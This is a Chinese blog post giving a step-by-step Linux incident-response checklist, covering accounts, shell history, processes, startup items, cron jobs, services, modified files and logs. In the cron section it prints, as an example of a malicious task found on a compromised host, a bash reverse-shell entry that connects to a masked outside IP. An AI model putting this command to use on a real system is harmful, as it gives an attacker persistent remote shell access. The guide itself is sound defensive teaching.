vlambda博客
学习文章列表

应急响应-Linux基础


声明:由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,知微安全以及文章作者不为此承担任何责任。知微安全拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经知微安全允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


0x00 准备工作 


在发生安全事件后,为了更准更快更全面的处理安全事件,我们首先应该明确以下几件事:
(1) 明确安全事件背景、明确主机网络环境 
(2) 获取目标机器登录方式、账号及密码等 
(3) 根据事件类型准备应急响应工具包,应急响应手册

0x02 主机排查步骤 


0x021 系统账号排查 

首先可以查看/etc/passwd文件,发现系统账号是否异常。/etc/passwd 文件是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。查看命令与文件内容格式如下

cat /etc/passwdroot:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologin#用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell

同时,还可以查看/etc/shadow文件。由于/etc/passwd文件允许所有用户读取,易导致用户密码泄露,因此Linux系统将用户的密码信息/etc/passwd文件中分离出来,并单独放到了/etc/shadow文件。/etc/shadow文件只有root 用户拥有读权限,其他用户没有任何权限,这样就保证了用户密码的安全性。注意,如果这个文件的权限发生了改变,则需要注意是否是恶意攻击。查看命令与文件内容格式如下:

cat /etc/shadowroot:$6$d4xej/gvGifHN...2rsXjuauwW/:18394:0:99999:7:::bin:*:17110:0:99999:7:::#用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留

查看是否有新增非法账户的操如下:

cat /etc/passwd | awk -F ":" '{print $1,$3,$4,$7}' | grep '/.*sh'root 0 0 /bin/bashshutdown 6 0 /sbin/shutdown

查看当前系统登录用户的操作如下:

who # 查看当前登录用户root pts/0 2020-11-19 09:44 (111.0.x.xx)w # 查看系统信息以及登录的用户信息12:34:39 up 191 days, 1:09, 1 user, load average: 0.00, 0.01, 0.05USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATroot pts/0 111.0.x.xx 09:44 7.00s 9:07 0.02s -bash
后门账号排查 
检查具有sudo权限的账号,按照最小权限原则,普通用户应该删除sudo权限:
more /etc/sudoers | grep -v ^"#\|^$" | grep "ALL=(ALL)"root ALL=(ALL) ALL%wheel ALL=(ALL) ALL
排查允许远程登录的账号:
awk '/\$1|\$6/{print $1}' /etc/shadowroot:$6$d4xej/gvGifHN...2rsXjuauwW/:18394:0:99999:7:::
排查最近登录的用户账户,排查攻击者登录账号的时间:
last #显示用户最近登录信息root pts/0 111.0.x.xx Thu Nov 19 13:01 still logged inroot pts/0 111.0.x.xx Thu Nov 19 09:44 - 13:00 (03:16)lastlog # 显示所有用户上次登录信息Username Port From Latestroot pts/0 111.0.x.xx Thu Nov 19 13:01:00 +0800 2020bin **Never logged in**daemon **Never logged in**adm **Never logged in**
发现异常用户应当及时禁用或删除账户 。

禁用和删除账户

# 禁用hack账户,/etc/shadow中该账户的第二栏为!标识usermod -L hackcat /etc/shadowhack:!:18585:0:99999:7:::# 删除hack账户 -r表示在删除用户的同时也会删除用户目录userdel -r hack
0x022 历史命令排查
查看历史命令,基本了解命令执行情况,仔细分析并判断攻击者的行为:
history # 查看当前账户的历史命令cat /etc/passwdcat /etc/shadowcat /etc/passwd | awk -F ":" '{print $1,$3,$4,$7}' | grep '/.*sh'awk -F ":" 'length($2)==0 {print $1}' /etc/shadowawk '/\$1|\$6/{print $1}' /etc/shadowwhow# 将历史命令文件导出到txt文件,方便查看cat ~/.bash_history >> history.txt

history与~/.bash_history的区别:当前登录的操作并没有立即写入~/.bash_history文件中,而是保存在缓存中,当用户注销之后(或者history -w),缓存中的命令才会写入~/.bash_history 文件中。 

检查.bashrc文件是否存在恶意命令。

攻击者还可以在.bash_profile文件中显示调用.bashrc。当登录linux bash时,会首先去调用bash_profile,从而调用.bashrc,这样就可以执行.bashrc中的恶意语句。

0x023 异常端口与异常进程排查

  
    
    
  
netstat -antlp | more # 查看所有的TCP连接 Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 25400/sshd # 使用ls查看对应的进程文件路径 ls -l /proc/25400/exe lrwxrwxrwx 1 root root 0 Nov 16 10:53 /proc/25400/exe -> /usr/sbin/sshd

执行ps aux | grep,检查异常进程:

率、内存占用率、开始时间ps aux | grep pid# 列出所有的系统服务,用于检查异常服务chkconfig --list# 列出非root用户运行的进程ps -U root -u root -NPID TTY TIME CMD461 ? 00:01:48 dbus-daemon1196 ? 00:00:31 ntpd1353 ? 00:00:14 polkitd1776 ? 03:39:55 mysqld3794 pts/0 00:09:27 mysqld14195 ? 00:00:00 bash14242 ? 00:00:00 pcheck
使用env查看是否有异常的环境变量:
  
    
    
  
# 查看环境变量 env XDG_SESSION_ID=32584 HOSTNAME=izbp1g4zku0z TERM=xterm SHELL=/bin/bash HISTSIZE=4096 SSH_CLIENT=111.0.x.xx 9689 22 SSH_TTY=/dev/pts/0 USER=root ... # 查看当前PATH环境变量 echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/local/go/bin:/root/bi n
0x024 启动项排查
为了防止肉鸡关机重启丢失后门等权限,攻击者会通过设置恶意的开机启动项来维持权限,这时候就需要全面排查沦陷主机是否有异常的启动项啦。语法如下:
  
    
    
  
ls -l /etc/rc.d/rc[0-6].d/ |grep init.d | sort | uniq -c # centos ls -l /etc/rc[0-6].d/ |grep init.d | sort | uniq -c # ubuntu 4 lrwxrwxrwx 1 root root 15 Sep 11 06:30 S50aegis -> ../init.d/aegis 3 lrwxrwxrwx. 1 root root 17 Oct 15 2017 K90network -> ../init.d/network 4 lrwxrwxrwx. 1 root root 17 Oct 15 2017 S10network -> ../init.d/network 4 lrwxrwxrwx 1 root root 17 Oct 24 00:20 S80aegis -> /etc/init.d/aegis 7 lrwxrwxrwx. 1 root root 20 Oct 15 2017 K50netconsole -> ../init.d/netconsole more /etc/rc.local more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/

linux系统运行级别表:

ls /etc/init.dfunctions netconsole network README vmware-tools
0x025 定时任务排查
常见的攻击方式(如Redis未授权)会通过写入crontab设置定时任务,来维持权限。针对这种情况,我们需要使用crontab命令来检查主机是否存在恶意定时任务。
crontab -l -u hack # 使用-u参数查看指定用户的定时任务列表* * * * * bash -i>& /dev/tcp/47.x.x.xx/6666 0>&1 # 发现有恶意反弹shell的定时任务

此时可定点删除该恶意定时任务,crontab(-e)进入定时任务列表,删除即可:

crontab -e # 编辑当前用户的crontab任务

root用户下还可以通过/etc/crontab(仅root写权限)来排查定时任务:

more /etc/crontabSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=root# For details see man 4 crontabs# Example of job definition:# .---------------- minute (0 - 59)# | .------------- hour (0 - 23)# | | .---------- day of month (1 - 31)# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) ORsun,mon,tue,wed,thu,fri,sat# | | | | |# * * * * * user-name command to be executedmore /etc/cron.daily/* # 查看目录下所有文件

同时,我们在排查定时任务时,需要重点关注以下目录中是否存在恶意脚本:

/var/spool/cron/*/etc/crontab/etc/cron.d/*/etc/cron.daily/*/etc/cron.hourly/*/etc/cron.monthly/*/etc/cron.weekly//etc/anacrontab/var/spool/anacron/*

0x026 服务排查

应急响应排查中,还需要查看主机是否有异常服务,以及服务的运行状态。

systemctl | grep running # 查看当前正在运行的服务top # 显示当前系统正在执行的进程的相关信息,包括进程ID、内存占用率、CPU占用率等ps –aux # 查看看当前运行的进程信息,也可使用 ps –ef

查询已安装的服务:

chkconfig --list # 查看服务自启动状态,可以看到所有的RPM包安装的服务

需要重点关注的服务:

(1)web应用服务:如果网络边界做好控制,通常对外开放的是Web服务。对这项服务,需要去排查 Webshell、Web日志等;

(2)SSH服务:SSH服务也是常对外开放且易受攻击的服务,对此排查是否有账户弱口令、SSH后门、SSH登录日志等;

(3)以Redis为首的各种未授权服务。

0x027 异常文件排查

通过排查系统最近修改的文件,可以帮助应急人员发现攻击者在拿到权限之后的操作痕迹,进而有利于发现问题、解决问题。 

查看一些敏感敏感目录的文件,类/tmp目录,home文件下的异常账户目录下的文件。

hosts文件是系统配置文件,用于本地DNS查询的域名设置,可以强制将某个域名对应到某个IP上,因此需要检查hosts文件有没有被黑客恶意篡改。使用语法cat /etc/hosts。

查找最近修改的文件,可以使用find命令来查找,如:

find / -name "*" -atime 1 -type f # 找出根目录下一天前访问过的文件find / -mmin -60 -name "*.jsp" # 查找最近60分钟修改过的jsp文件# find参数-name filename #查找名为filename的文件-user username #按文件属主来查找-group groupname #按组来查找-mtime -n +n #按文件更改时间来查找文件,-n指n天以内,+n指n天以-atime -n +n #按文件访问时间来查,文件上次被访问时间为n*24小时-ctime -n +n #按文件状态修改时间来查,文件上次被访问时间为n*24小时前# 具体请自行 man find 查阅

如何排查危险文件:

(1)文件修改时间来判断,应急事件近期时间点的文件需要注意;

(2)文件名来判断,无意义的文件名可能是病毒木马;

(3)tmp目录存放的是系统和用户的临时信息,明显找不到对应程序和服务的文件需要注意,可能是攻击者留下的病毒木马;

(4) 可疑文件可以放到Virscan、Virustotal、腾讯哈勃等在线查毒网站进行文件分析,有能力的可以自己进行逆向分析。
0x028 系统日志排查 

不同的Linux,日志存放路径可能存在一定的误差,主机层面的日志路径基本都是/var/log,登陆安全日志主要是secure或者auth.log,web层面的日志主要是access日志和error日志,我们可以使用find去查询具体的日志路径:

find / -regex '.*/access[._]log'/var/lib/docker/overlay2/9a12432b5c3f707a8841a5f8741ebdf7648ed76941949149e33c7556ed68f8d4/diff/var/log/nginx/access.log/var/lib/docker/overlay2/f7c4fba97bfc83e1fa6ce7fc61f7442ecd3c22887ddb724e120ecda9ea36e2cf/diff/var/log/nginx/access.log
0 x0 3   总结  

随着国家对网络安全的逐步重视,实战攻防演练的持续开展。安全事件在企业中频繁发生,考验的是安全工程师是否能够在第一时间排查攻击者的入侵痕迹,并根据收集到的信息进行反击溯源和威胁的根除,以及有效的对企业资产进行加固。本文给读者提供了linux主机排查的思路与实战操作命令。知微安全会持续关注安全攻防与研究,请大家多多关注后续文章。